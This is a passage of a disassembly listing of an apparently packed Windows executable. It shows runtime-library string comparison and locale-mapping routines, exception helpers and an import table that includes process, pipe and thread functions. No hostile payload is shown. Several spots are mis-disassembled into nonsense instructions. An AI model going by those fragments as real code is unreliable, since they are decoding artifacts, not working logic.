		call	sub_42676B


loc_426570:				; DATA XREF: .nsp0:off_427D14o
		push	esi
		mov	esi, ecx
		call	sub_426516
		test	[esp+20h+var_18], 1
		jz	short loc_426586
		push	esi
		call	sub_41D323
		pop	ecx


loc_426586:				; CODE XREF: sub_426553+2Aj
		mov	eax, esi
		pop	esi
		retn	4
sub_426553	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42658C	proc near		; CODE XREF: sub_426553+Ap

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_4263D1
		mov	dword ptr [esi], offset	off_427D14
		mov	eax, esi
		pop	esi
		retn	4
sub_42658C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4265A4	proc near		; DATA XREF: .nsp0:00429018o

; FUNCTION CHUNK AT 004265DA SIZE 0000000C BYTES

		test	byte_4E180C, 1
		jnz	short loc_4265B4
		or	byte_4E180C, 1


loc_4265B4:				; CODE XREF: sub_4265A4+7j
		call	sub_4265CE
		test	byte_4E2B98, 1
		jnz	short loc_4265C9
		or	byte_4E2B98, 1


loc_4265C9:				; CODE XREF: sub_4265A4+1Cj
		jmp	loc_4265DA
sub_4265A4	endp


; =============== S U B	R O U T	I N E =======================================



sub_4265CE	proc near		; CODE XREF: sub_4265A4:loc_4265B4p
		push	offset nullsub_1
		call	sub_41D6E0
		pop	ecx
		retn
sub_4265CE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4265A4


loc_4265DA:				; CODE XREF: sub_4265A4:loc_4265C9j
		push	offset nullsub_1
		call	sub_41D6E0
		pop	ecx
		retn
; END OF FUNCTION CHUNK	FOR sub_4265A4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4265E8	proc near		; CODE XREF: sub_40CD4C+5Ep
					; sub_40F168+14Ap ...
		jmp	dword_427228
sub_4265E8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4265EE	proc near		; CODE XREF: sub_41CF70+23p
					; sub_41D214+13p
		jmp	dword_4271A0
sub_4265EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_4265F4	proc near		; CODE XREF: .nsp0:00417954p
					; .nsp0:0041796Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	dword_4E15B0, 0
		push	ebx
		jnz	short loc_42663A
		mov	edx, [esp+4+arg_4]
		mov	ecx, [esp+4+arg_0]


loc_426606:				; CODE XREF: sub_4265F4+42j
		mov	bx, [ecx]
		cmp	bx, 5Ah
		ja	short loc_426618
		cmp	bx, 41h
		jb	short loc_426618
		add	ebx, 20h


loc_426618:				; CODE XREF: sub_4265F4+19j
					; sub_4265F4+1Fj
		mov	ax, [edx]
		cmp	ax, 5Ah
		ja	short loc_42662A
		cmp	ax, 41h
		jb	short loc_42662A
		add	eax, 20h


loc_42662A:				; CODE XREF: sub_4265F4+2Bj
					; sub_4265F4+31j
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	bx, bx
		jz	short loc_42666A
		cmp	bx, ax
		jz	short loc_426606
		jmp	short loc_42666A
; ---------------------------------------------------------------------------


loc_42663A:				; CODE XREF: sub_4265F4+8j
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, [esp+0Ch+arg_4]


loc_426644:				; CODE XREF: sub_4265F4+72j
		mov	ax, [esi]
		inc	esi
		push	eax
		inc	esi
		call	sub_4267A5
		mov	ebx, eax
		mov	ax, [edi]
		inc	edi
		push	eax
		inc	edi
		call	sub_4267A5
		pop	ecx
		test	bx, bx
		pop	ecx
		jz	short loc_426668
		cmp	bx, ax
		jz	short loc_426644


loc_426668:				; CODE XREF: sub_4265F4+6Dj
		pop	edi
		pop	esi


loc_42666A:				; CODE XREF: sub_4265F4+3Dj
					; sub_4265F4+44j
		movzx	ecx, ax
		movzx	eax, bx
		sub	eax, ecx
		pop	ebx
		retn
sub_4265F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_426674	proc near		; DATA XREF: .nsp0:off_427D3Co

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426717
		test	[esp+4+arg_0], 1
		jz	short loc_42668A
		push	esi
		call	sub_41D323
		pop	ecx


loc_42668A:				; CODE XREF: sub_426674+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_426674	endp


; =============== S U B	R O U T	I N E =======================================



sub_426690	proc near		; CODE XREF: sub_4262EA+1Fp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427D3C
		push	dword ptr [edi]
		call	sub_41B890
		inc	eax
		push	eax
		call	sub_41D665
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_4266BF
		push	dword ptr [edi]
		push	eax
		call	sub_41C550
		pop	ecx
		pop	ecx


loc_4266BF:				; CODE XREF: sub_426690+23j
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_426690	endp


; =============== S U B	R O U T	I N E =======================================



sub_4266CD	proc near		; CODE XREF: sub_4263D1+17p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427D3C
		mov	eax, [edi+8]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_42670A
		push	dword ptr [edi+4]
		call	sub_41B890
		inc	eax
		push	eax
		call	sub_41D665
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_426710
		push	dword ptr [edi+4]
		push	eax
		call	sub_41C550
		pop	ecx
		pop	ecx
		jmp	short loc_426710
; ---------------------------------------------------------------------------


loc_42670A:				; CODE XREF: sub_4266CD+16j
		mov	eax, [edi+4]
		mov	[esi+4], eax


loc_426710:				; CODE XREF: sub_4266CD+2Ej
					; sub_4266CD+3Bj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_4266CD	endp


; =============== S U B	R O U T	I N E =======================================



sub_426717	proc near		; CODE XREF: sub_426378+2Bp
					; sub_42642E+2Bp ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_427D3C
		jz	short locret_42672C
		push	dword ptr [ecx+4]
		call	sub_41D323
		pop	ecx

locret_42672C:				; CODE XREF: sub_426717+Aj
		retn
sub_426717	endp


; =============== S U B	R O U T	I N E =======================================



sub_42672D	proc near		; DATA XREF: .nsp0:00427D40o
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_426739
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_426739:				; CODE XREF: sub_42672D+5j
		retn
sub_42672D	endp


; =============== S U B	R O U T	I N E =======================================



sub_42673A	proc near		; CODE XREF: .nsp0:00426752p
		mov	dword ptr [ecx], offset	off_427D5C
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short locret_42674E
		push	ecx
		call	sub_41B961
		pop	ecx

locret_42674E:				; CODE XREF: sub_42673A+Bj
		retn
sub_42673A	endp

; ---------------------------------------------------------------------------


loc_42674F:				; DATA XREF: .nsp0:off_427D5Co
		push	esi
		mov	esi, ecx
		call	sub_42673A
		test	byte ptr [esp+8], 1
		jz	short loc_426765
		push	esi
		call	sub_41D323
		pop	ecx


loc_426765:				; CODE XREF: .nsp0:0042675Cj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42676B	proc near		; CODE XREF: sub_426290+54p
					; sub_42635B+18p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_427D60
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		call	dword_42705C	; RaiseException
		pop	edi
		pop	esi
		leave
		retn	8
sub_42676B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4267A5	proc near		; CODE XREF: sub_4265F4+56p
					; sub_4265F4+63p

var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	ax, 0FFFFh
		jnz	short loc_4267B7
		or	ax, ax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4267B7:				; CODE XREF: sub_4267A5+Bj
		cmp	dword_4E15B0, 0
		jnz	short loc_4267D1
		cmp	ax, 41h
		jb	short locret_426818
		cmp	ax, 5Ah
		ja	short locret_426818
		add	eax, 20h
		leave
		retn
; ---------------------------------------------------------------------------


loc_4267D1:				; CODE XREF: sub_4267A5+19j
		cmp	ax, 100h
		jnb	short loc_4267EB
		push	1
		push	eax
		call	sub_426A53
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4267EB
		mov	ax, word ptr [ebp+arg_0]
		leave
		retn
; ---------------------------------------------------------------------------


loc_4267EB:				; CODE XREF: sub_4267A5+30j
					; sub_4267A5+3Ej
		push	0
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	100h
		push	dword_4E15B0
		call	loc_42681A
		add	esp, 1Ch
		test	eax, eax
		mov	ax, word ptr [ebp+arg_0]
		jz	short locret_426818
		mov	ax, [ebp+var_2]

locret_426818:				; CODE XREF: sub_4267A5+1Fj
					; sub_4267A5+25j ...
		leave
		retn
sub_4267A5	endp

; ---------------------------------------------------------------------------


loc_42681A:				; CODE XREF: sub_4267A5+5Fp
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427D80
		push	offset sub_4233D4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		xor	esi, esi
		cmp	dword_4E1804, esi
		jnz	short loc_426890
		push	esi
		push	esi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427918
		mov	edi, 100h
		push	edi
		push	esi
		call	dword_427050	; LCMapStringW
		test	eax, eax
		jz	short loc_42686E
		mov	dword_4E1804, ebx
		jmp	short loc_426890
; ---------------------------------------------------------------------------


loc_42686E:				; CODE XREF: .nsp0:00426864j
		push	esi
		push	esi
		push	ebx
		push	offset dword_4D10A8
		push	edi
		push	esi
		call	near ptr 0B40000h
		sbb	[ebp-767BF040h], eax
		add	[eax], eax
		add	bh, al
		add	eax, offset dword_4E1804
		add	al, [eax]
; ---------------------------------------------------------------------------
		dw 0
; ---------------------------------------------------------------------------


loc_426890:				; CODE XREF: .nsp0:00426848j
					; .nsp0:0042686Cj
		cmp	[ebp+14h], esi
		jle	short loc_4268A5
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		call	sub_426A23
		pop	ecx
		pop	ecx
		mov	[ebp+14h], eax


loc_4268A5:				; CODE XREF: .nsp0:00426893j
		mov	eax, dword_4E1804
		cmp	eax, 1
		jnz	short loc_4268CC
		push	dword ptr [ebp+1Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	dword_427050	; LCMapStringW
		jmp	loc_426A11
; ---------------------------------------------------------------------------


loc_4268CC:				; CODE XREF: .nsp0:004268ADj
		cmp	eax, 2
		jnz	loc_426A0F
		cmp	[ebp+20h], esi
		jnz	short loc_4268E2
		mov	eax, dword_4E15C0
		mov	[ebp+20h], eax


loc_4268E2:				; CODE XREF: .nsp0:004268D8j
		push	esi
		push	esi
		push	esi
		push	esi
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	220h
		push	dword ptr [ebp+20h]
		call	dword_427180	; WideCharToMultiByte
		mov	[ebp-20h], eax
		cmp	eax, esi
		jz	loc_426A0F
		mov	[ebp-4], esi
		add	eax, 3
		and	al, 0FCh
		call	sub_41C1D0
		mov	[ebp-18h], esp
		mov	eax, esp
		mov	[ebp-1Ch], eax
		jmp	short loc_426928
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		xor	esi, esi
		mov	[ebp-1Ch], esi


loc_426928:				; CODE XREF: .nsp0:0042691Aj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		cmp	[ebp-1Ch], esi
		jz	loc_426A0F
		push	esi
		push	esi
		push	dword ptr [ebp-20h]
		push	dword ptr [ebp-1Ch]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	220h
		push	dword ptr [ebp+20h]
		call	dword_427180	; WideCharToMultiByte
		test	eax, eax
		jz	loc_426A0F
		push	esi
		push	esi
		push	dword ptr [ebp-20h]
		push	dword ptr [ebp-1Ch]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	near ptr 0B40000h
		db	64h
		mov	edi, eax
		mov	[ebp-2Ch], edi
		cmp	edi, esi
		jz	loc_426A0F
		mov	dword ptr [ebp-4], 1
		add	eax, 3
		and	al, 0FCh
		call	sub_41C1D0
		mov	[ebp-18h], esp
		mov	ebx, esp
		mov	[ebp-24h], ebx
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_4269AB
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		xor	esi, esi
		xor	ebx, ebx
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	edi, [ebp-2Ch]


loc_4269AB:				; CODE XREF: .nsp0:00426997j
		cmp	ebx, esi
		jz	short loc_426A0F
		push	edi
		push	ebx
		push	dword ptr [ebp-20h]
		push	dword ptr [ebp-1Ch]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	near ptr 0B40000h
		lock test eax, eax
		jz	short loc_426A0F
		test	byte ptr [ebp+0Dh], 4
		jz	short loc_4269E9
		mov	eax, [ebp+1Ch]
		cmp	eax, esi
		jz	short loc_426A0B
		cmp	eax, edi
		jl	short loc_4269DA
		mov	eax, edi


loc_4269DA:				; CODE XREF: .nsp0:004269D6j
		push	eax
		push	ebx
		push	dword ptr [ebp+18h]
		call	sub_41BCA0
		add	esp, 0Ch
		jmp	short loc_426A0B
; ---------------------------------------------------------------------------


loc_4269E9:				; CODE XREF: .nsp0:004269CBj
		cmp	[ebp+1Ch], esi
		jnz	short loc_4269F2
		push	esi
		push	esi
		jmp	short loc_4269F8
; ---------------------------------------------------------------------------


loc_4269F2:				; CODE XREF: .nsp0:004269ECj
		push	dword ptr [ebp+1Ch]
		push	dword ptr [ebp+18h]


loc_4269F8:				; CODE XREF: .nsp0:004269F0j
		push	edi
		push	ebx
		push	1
		push	dword ptr [ebp+20h]
		call	dword_427184	; MultiByteToWideChar
		mov	edi, eax
		cmp	edi, esi
		jz	short loc_426A0F


loc_426A0B:				; CODE XREF: .nsp0:004269D2j
					; .nsp0:004269E7j
		mov	eax, edi
		jmp	short loc_426A11
; ---------------------------------------------------------------------------


loc_426A0F:				; CODE XREF: .nsp0:004268CFj
					; .nsp0:004268FFj ...
		xor	eax, eax


loc_426A11:				; CODE XREF: .nsp0:004268C7j
					; .nsp0:00426A0Dj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_426A23	proc near		; CODE XREF: .nsp0:0042689Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_426A42


loc_426A33:				; CODE XREF: sub_426A23+1Dj
		cmp	word ptr [eax],	0
		jz	short loc_426A42
		inc	eax
		mov	esi, ecx
		inc	eax
		dec	ecx
		test	esi, esi
		jnz	short loc_426A33


loc_426A42:				; CODE XREF: sub_426A23+Ej
					; sub_426A23+14j
		cmp	word ptr [eax],	0
		pop	esi
		jnz	short loc_426A50
		sub	eax, [esp+arg_0]
		sar	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_426A50:				; CODE XREF: sub_426A23+24j
		mov	eax, edx
		retn
sub_426A23	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426A53	proc near		; CODE XREF: sub_4267A5+35p

var_4		= dword	ptr -4
arg_0		= word ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0FFFFh
		jz	short loc_426A93
		cmp	[ebp+arg_0], 100h
		jnb	short loc_426A77
		movzx	eax, [ebp+arg_0]
		mov	ecx, off_442564
		mov	ax, [ecx+eax*2]
		jmp	short loc_426A9A
; ---------------------------------------------------------------------------


loc_426A77:				; CODE XREF: sub_426A53+12j
		push	0
		lea	eax, [ebp+var_4]
		push	0
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	1
		call	loc_426AA5
		add	esp, 18h
		test	eax, eax
		jnz	short loc_426A97


loc_426A93:				; CODE XREF: sub_426A53+Aj
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_426A97:				; CODE XREF: sub_426A53+3Ej
		mov	eax, [ebp+var_4]


loc_426A9A:				; CODE XREF: sub_426A53+22j
		movzx	ecx, [ebp+arg_4]
		movzx	eax, ax
		and	eax, ecx
		leave
		retn
sub_426A53	endp

; ---------------------------------------------------------------------------


loc_426AA5:				; CODE XREF: sub_426A53+34p
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427D98
		push	offset sub_4233D4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		mov	eax, dword_4E1808
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_426B14
		lea	eax, [ebp-1Ch]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427918
		push	esi
		call	dword_427020	; GetStringTypeW
		test	eax, eax
		jz	short loc_426AF2
		mov	eax, esi
		jmp	short loc_426B0F
; ---------------------------------------------------------------------------


loc_426AF2:				; CODE XREF: .nsp0:00426AECj
		lea	eax, [ebp-1Ch]
		push	eax
		push	esi
		push	offset dword_4D10A8
		push	esi
		push	edi
		call	near ptr 0B40000h
		int	85h
		ror	byte ptr [edi],	84h
		dec	edx
		add	[eax], eax
		add	[edx+2], ch
		pop	eax


loc_426B0F:				; CODE XREF: .nsp0:00426AF0j
		mov	dword_4E1808, eax


loc_426B14:				; CODE XREF: .nsp0:00426AD4j
		cmp	eax, 1
		jnz	short loc_426B30
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	dword_427020	; GetStringTypeW
		jmp	loc_426C58
; ---------------------------------------------------------------------------


loc_426B30:				; CODE XREF: .nsp0:00426B17j
		cmp	eax, 2
		jnz	loc_426C56
		cmp	[ebp+18h], edi
		jnz	short loc_426B46
		mov	eax, dword_4E15C0
		mov	[ebp+18h], eax


loc_426B46:				; CODE XREF: .nsp0:00426B3Cj
		push	edi
		push	edi
		push	edi
		push	edi
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	220h
		push	dword ptr [ebp+18h]
		call	dword_427180	; WideCharToMultiByte
		mov	esi, eax
		mov	[ebp-28h], esi
		cmp	esi, edi
		jz	loc_426C56
		mov	[ebp-4], edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41C1D0
		mov	[ebp-18h], esp
		mov	eax, esp
		mov	[ebp-2Ch], eax
		push	esi
		push	edi
		push	eax
		call	sub_41BC40
		add	esp, 0Ch
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_426BA4
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		xor	edi, edi
		mov	[ebp-2Ch], edi
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	esi, [ebp-28h]


loc_426BA4:				; CODE XREF: .nsp0:00426B8Fj
		cmp	[ebp-2Ch], edi
		jz	loc_426C56
		push	edi
		push	edi
		push	esi
		push	dword ptr [ebp-2Ch]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	220h
		push	dword ptr [ebp+18h]
		call	dword_427180	; WideCharToMultiByte
		test	eax, eax
		jz	loc_426C56
		mov	dword ptr [ebp-4], 1
		lea	eax, [esi+esi+2]
		add	eax, 3
		and	al, 0FCh
		call	sub_41C1D0
		mov	[ebp-18h], esp
		mov	ebx, esp
		mov	[ebp-24h], ebx
		jmp	short loc_426BF9
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		xor	edi, edi
		xor	ebx, ebx


loc_426BF9:				; CODE XREF: .nsp0:00426BECj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		cmp	ebx, edi
		jz	short loc_426C56
		mov	eax, [ebp+1Ch]
		cmp	eax, edi
		jnz	short loc_426C0D
		mov	eax, dword_4E15B0


loc_426C0D:				; CODE XREF: .nsp0:00426C06j
		mov	ecx, [ebp+10h]
		lea	edi, [ecx+ecx]
		lea	esi, [edi+ebx]
		or	word ptr [esi],	0FFFFh
		or	word ptr [esi-2], 0FFFFh
		push	ebx
		push	dword ptr [ebp-28h]
		push	dword ptr [ebp-2Ch]
		push	dword ptr [ebp+8]
		push	eax
		call	near ptr 0B40000h
		and	cl, [ecx-7E991FBBh]


loc_426C37:				; CODE XREF: .nsp0:loc_426C37j
		jle	short loc_426C37
; ---------------------------------------------------------------------------
		db 2 dup(0FFh),	74h
		dd 3E816619h, 1275FFFFh, 75FF5357h, 66E2E814h, 0C483FFFFh
		dd 0E0458B0Ch
; ---------------------------------------------------------------------------
		jmp	short loc_426C58
; ---------------------------------------------------------------------------


loc_426C56:				; CODE XREF: .nsp0:00426B33j
					; .nsp0:00426B65j ...
		xor	eax, eax


loc_426C58:				; CODE XREF: .nsp0:00426B2Bj
					; .nsp0:00426C54j
		lea	esp, [ebp-38h]
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_426C6C:				; DATA XREF: .nsp0:00427F5Co
		lea	ecx, [ebp-38h]
		jmp	loc_40D3BE
; ---------------------------------------------------------------------------
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_426C8A
		mov	ecx, [ebp+8]
		jmp	loc_40D3BE
; ---------------------------------------------------------------------------

locret_426C8A:				; CODE XREF: .nsp0:00426C7Cj
		retn
; ---------------------------------------------------------------------------


loc_426C8B:				; DATA XREF: sub_40CF88o
		mov	eax, offset dword_427F30
		jmp	loc_41CFBF
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp+14h]
		jmp	loc_40D3BE
; ---------------------------------------------------------------------------


loc_426CA0:				; DATA XREF: .nsp0:00427F8Co
		lea	ecx, [ebp-1Ch]
		jmp	loc_40D3BE
; ---------------------------------------------------------------------------


loc_426CA8:				; DATA XREF: sub_40D12Ao
		mov	eax, offset dword_427F60
		jmp	loc_41CFBF
; ---------------------------------------------------------------------------
		align 4


loc_426CB4:				; DATA XREF: sub_40D6A1o
		mov	eax, offset dword_427F90
		jmp	loc_41CFBF
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-20h]
		jmp	loc_40D3BE
; ---------------------------------------------------------------------------


loc_426CC8:				; DATA XREF: sub_426290o
		mov	eax, offset dword_428068
		jmp	loc_41CFBF
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-14h]
		jmp	sub_426717
; ---------------------------------------------------------------------------


loc_426CDC:				; DATA XREF: sub_4262EAo
		mov	eax, offset dword_428090
		jmp	loc_41CFBF
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-10h]
		jmp	sub_426717
; ---------------------------------------------------------------------------


loc_426CF0:				; DATA XREF: sub_426378o
		mov	eax, offset dword_4280D8
		jmp	loc_41CFBF
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-10h]
		jmp	sub_426717
; ---------------------------------------------------------------------------


loc_426D04:				; DATA XREF: sub_4263D1o
		mov	eax, offset dword_428100
		jmp	loc_41CFBF
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_426717
; ---------------------------------------------------------------------------


loc_426D18:				; DATA XREF: sub_42642Eo
		mov	eax, offset dword_428128
		jmp	loc_41CFBF
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp-20h]
		jmp	loc_40D3BE
; ---------------------------------------------------------------------------


loc_426D2C:				; DATA XREF: sub_4264BCo
		mov	eax, offset dword_428190
		jmp	loc_41CFBF
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-10h]
		jmp	sub_426717
; ---------------------------------------------------------------------------


loc_426D40:				; DATA XREF: sub_426516o
		mov	eax, offset dword_4281B8
		jmp	loc_41CFBF
; ---------------------------------------------------------------------------
		align 4
		dd 0ADh	dup(0)
dword_427000	dd 7C834EB1h	; resolved to->KERNEL32.FindNextFileA					; sub_41011E+5D7r
		dd 7C833478h
dword_427008	dd 7C80A35Eh	; resolved to->KERNEL32.CompareStringW					; sub_425D2F+261r
dword_42700C	dd 7C80D077h	; resolved to->KERNEL32.CompareStringA					; sub_425D2F+B9r
		dd 7C832044h, 7C80BCCFh, 7C809E01h
dword_42701C	dd 7C84467Dh	; resolved to->KERNEL32.SetUnhandledExceptionFilter					; .nsp0:004245C9r
dword_427020	dd 7C80A490h	; resolved to->KERNEL32.GetStringTypeW					; .nsp0:00423C7Cr ...
		dd 7C838A0Ch, 7C812641h, 7C81DC03h, 7C810E51h, 7C812F39h
		dd 7C80CC97h
dword_42703C	dd 7C812F08h	; resolved to->KERNEL32.GetEnvironmentStringsWdword_427040	dd 7C81CF5Bh	; resolved to->KERNEL32.GetEnvironmentStringsA					; sub_4230EC+E1r
dword_427044	dd 7C814AE7h	; resolved to->KERNEL32.FreeEnvironmentStringsW		dd 7C81DF77h
dword_42704C	dd 7C862E2Ah	; resolved to->KERNEL32.UnhandledExceptionFilterdword_427050	dd 7C80CCA8h	; resolved to->KERNEL32.LCMapStringW					; .nsp0:00422B08r ...
		dd 7C838DE8h
dword_427058	dd 7C9109EDh	; resolved to->NTDLL.RtlSizeHeapdword_42705C	dd 7C812A09h	; resolved to->KERNEL32.RaiseException					; sub_42676B+2Er
		dd 7C8127A7h
dword_427064	dd 7C802442h	; resolved to->KERNEL32.Sleep					; sub_401135+29r ...
dword_427068	dd 7C81CDDAh	; resolved to->KERNEL32.ExitProcess					; .nsp0:0040422Ar ...
dword_42706C	dd 7C809B47h	; resolved to->KERNEL32.CloseHandle					; sub_40C574+9Dr ...
		dd 7C802367h, 7C80B4CFh, 7C814EEAh
dword_42707C	dd 7C810637h	; resolved to->KERNEL32.CreateThread					; .nsp0:00402513r ...
		dd 7C831EABh
dword_427084	dd 7C8309E1h	; resolved to->KERNEL32.OpenProcess		dd 7C809920h
dword_42708C	dd 7C910331h	; resolved to->NTDLL.RtlGetLastWin32Error					; .nsp0:loc_4037D6r ...
		dd 7C8286EEh, 7C812782h
dword_427098	dd 7C81153Ch	; resolved to->KERNEL32.GetFileAttributesA					; sub_41DA8E+4r
dword_42709C	dd 7C80B6A1h	; resolved to->KERNEL32.GetModuleHandleA		dd 7C802520h, 7C80E93Fh
dword_4270A8	dd 7C80929Ch	; resolved to->KERNEL32.GetTickCount					; .nsp0:00404028r ...
dword_4270AC	dd 7C81CE03h	; resolved to->KERNEL32.TerminateThread		dd 7C835DCAh, 7C835E8Fh
dword_4270B8	dd 7C801D77h	; resolved to->KERNEL32.LoadLibraryA					; sub_409A6D:loc_409F7Br ...
dword_4270BC	dd 9C7574h						; sub_417517+60r ...
		dd 7C8216A4h
dword_4270C4	dd 7C80D262h	; resolved to->KERNEL32.GetLocaleInfoAdword_4270C8	dd 7C812ADEh	; resolved to->KERNEL32.GetVersionExA					; sub_418C8D+32r ...
		dd 7C80C058h
dword_4270D0	dd 7C9010EDh	; resolved to->NTDLL.RtlLeaveCriticalSectiondword_4270D4	dd 7C901005h	; resolved to->NTDLL.RtlEnterCriticalSectiondword_4270D8	dd 7C80B829h	; resolved to->KERNEL32.InitializeCriticalSectionAndSpinCountdword_4270DC	dd 7C91188Ah	; resolved to->NTDLL.RtlDeleteCriticalSection					; .nsp0:0040C477r
		dd 7C810D87h, 7C8308ADh
dword_4270E8	dd 7C80180Eh	; resolved to->KERNEL32.ReadFile					; .nsp0:0040E095r ...
dword_4270EC	dd 7C801A24h	; resolved to->KERNEL32.CreateFileA					; sub_40E7D2+1CBr ...
		dd 7C8312E5h, 7C801E16h, 7C80DDFEh
dword_4270FC	dd 7C80DDF5h	; resolved to->KERNEL32.GetCurrentProcess					; .nsp0:0041A566r
dword_427100	dd 7C81E0C7h	; resolved to->KERNEL32.CreatePipe					; .nsp0:0041A528r
